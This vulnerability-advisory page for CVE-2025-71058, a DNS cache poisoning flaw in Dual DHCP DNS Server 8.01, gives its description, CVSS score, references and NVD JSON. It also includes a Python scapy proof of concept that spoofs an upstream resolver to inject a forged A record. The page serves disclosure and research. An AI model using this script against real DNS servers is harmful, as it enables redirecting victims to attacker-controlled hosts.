CVE-2025-71058

Description

Dual DHCP DNS Server 8.01 improperly accepts and caches UDP DNS responses without validating that the response originates from a legitimate configured upstream DNS server. The implementation matches responses primarily by TXID and inserts results into the cache, enabling a remote attacker to inject forged responses and poison the DNS cache, potentially redirecting victims to attacker-controlled destinations.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dual DHCP DNS Server 8.01

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2025-71058: DNS Cache Poisoning
# This script sends a forged DNS response to poison the cache.

from scapy.all import *
import random

def send_poisoned_response(target_ip, target_port, txid, domain_to_poison, malicious_ip):
    # Construct IP layer with spoofed source (upstream DNS IP)
    # Note: In real attacks, source IP is spoofed to match legitimate upstream DNS.
    # If the target does not validate source, spoofing might not be strictly required,
    # but standard DNS poisoning implies spoofing.
    ip = IP(src="192.168.1.1", dst=target_ip) # Replace with actual upstream IP if needed
    
    # Construct UDP layer
    udp = UDP(sport=53, dport=target_port)
    
    # Construct DNS layer
    # id=txid is crucial for the server to accept the response
    # qr=1 indicates a response
    dns = DNS(
        id=txid,
        qr=1,
        qd=DNSQR(qname=domain_to_poison),
        an=DNSRR(rrname=domain_to_poison, type="A", ttl=300, rdata=malicious_ip)
    )
    
    # Send the packet
    packet = ip / udp / dns
    send(packet)
    print(f"[*] Poisoned response sent for {domain_to_poison} -> {malicious_ip}")

if __name__ == "__main__":
    # Configuration
    TARGET_DNS = "192.168.1.100" # IP of the vulnerable Dual DHCP DNS Server
    DOMAIN = "example.com"
    MALICIOUS_IP = "6.6.6.6"
    # TXID needs to be guessed or sniffed. Assuming we have it.
    TXID = random.randint(0, 65535) 
    
    send_poisoned_response(TARGET_DNS, 53, TXID, DOMAIN, MALICIOUS_IP)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71058
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71058
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71058/
[4] VulDB https://vuldb.com/cve/CVE-2025-71058
[5] https://github.com/FPokerFace/Security-Advisory/blob/main/CVE-2025-71058/poc.c
[6] https://github.com/FPokerFace/Security-Advisory/tree/main/CVE-2025-71058
[7] https://sourceforge.net/projects/dhcp-dns-server/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71058", "sourceIdentifier": "[email protected]", "published": "2026-04-07T19:16:43.220", "lastModified": "2026-04-21T20:16:26.490", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dual DHCP DNS Server 8.01 improperly accepts and caches UDP DNS responses without validating that the response originates from a legitimate configured upstream DNS server. The implementation matches responses primarily by TXID and inserts results into the cache, enabling a remote attacker to inject forged responses and poison the DNS cache, potentially redirecting victims to attacker-controlled destinations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/FPokerFace/Security-Advisory/blob/main/CVE-2025-71058/poc.c", "source": "[email protected]"}, {"url": "https://github.com/FPokerFace/Security-Advisory/tree/main/CVE-2025-71058", "source": "[email protected]"}, {"url": "https://sourceforge.net/projects/dhcp-dns-server/", "source": "[email protected]"}]}}